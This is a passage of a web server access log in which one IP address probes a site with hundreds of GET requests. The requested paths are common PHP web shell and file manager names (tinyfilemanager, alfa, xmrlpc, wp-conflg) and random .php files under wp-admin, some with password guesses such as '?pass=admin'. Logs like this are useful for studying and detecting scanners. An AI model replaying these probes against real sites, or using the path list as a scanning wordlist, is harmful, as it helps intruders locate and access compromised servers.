"-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:21 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:24 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:27 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:29 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:30 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:31 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:32 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:36 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:40 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:41 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:43 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:45 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:48 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:48 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:51 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:53 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:56 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:59 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:02 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:05 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:08 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:11 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:14 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:15 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:18 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:21 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:24 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:26 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:27 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:28 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:29 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:31 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:33 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:35 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:36 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:37 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:39 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:40 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:41 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:42 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:42 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:43 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:45 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:47 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:49 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:50 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:51 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:52 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:53 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:53 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:54 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:55 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:56 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:57 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:57 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:58 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:58 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:59 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:23:59 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:00 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:01 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:02 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:03 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:03 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:04 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:04 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:06 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:08 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:08 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:09 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:10 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:11 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:11 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:12 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:12 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:13 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:13 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:14 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:14 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:15 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:16 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:16 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:17 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:18 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:18 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:19 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:19 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:20 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:21 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:23 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:25 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:26 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:29 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:31 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:33 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:35 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:37 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:39 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:40 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:41 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:43 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:44 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:45 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:46 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:47 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:48 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:49 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:50 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:51 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:52 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:53 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:54 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:54 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:55 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:55 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:56 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:57 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:58 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:24:59 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:00 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:01 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:02 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:03 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:04 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:04 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:05 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:06 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:07 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:10 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:12 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:16 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:18 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:19 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:20 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:21 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:23 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:23 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:24 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:25 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:26 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:27 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:28 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:28 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:29 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:30 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:31 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:33 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:34 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:35 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:36 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:37 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:39 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:40 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:41 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:42 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:43 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:44 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:45 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:46 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:47 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:47 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:48 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:49 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:49 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:51 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:52 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:53 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:53 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:54 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:55 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:55 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:56 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:57 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:57 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:58 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:58 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:58 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:25:59 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:00 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:00 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:01 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:01 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:02 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:02 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:03 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:04 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:05 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:05 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:06 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:07 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:08 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:08 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:09 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:11 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:11 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:12 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:13 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:14 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:15 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:15 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:16 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:16 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:16 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:17 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:17 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:18 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:18 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:19 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:19 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:20 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:21 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:21 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:22 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:22 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:23 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:23 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:24 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:24 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:25 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:25 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 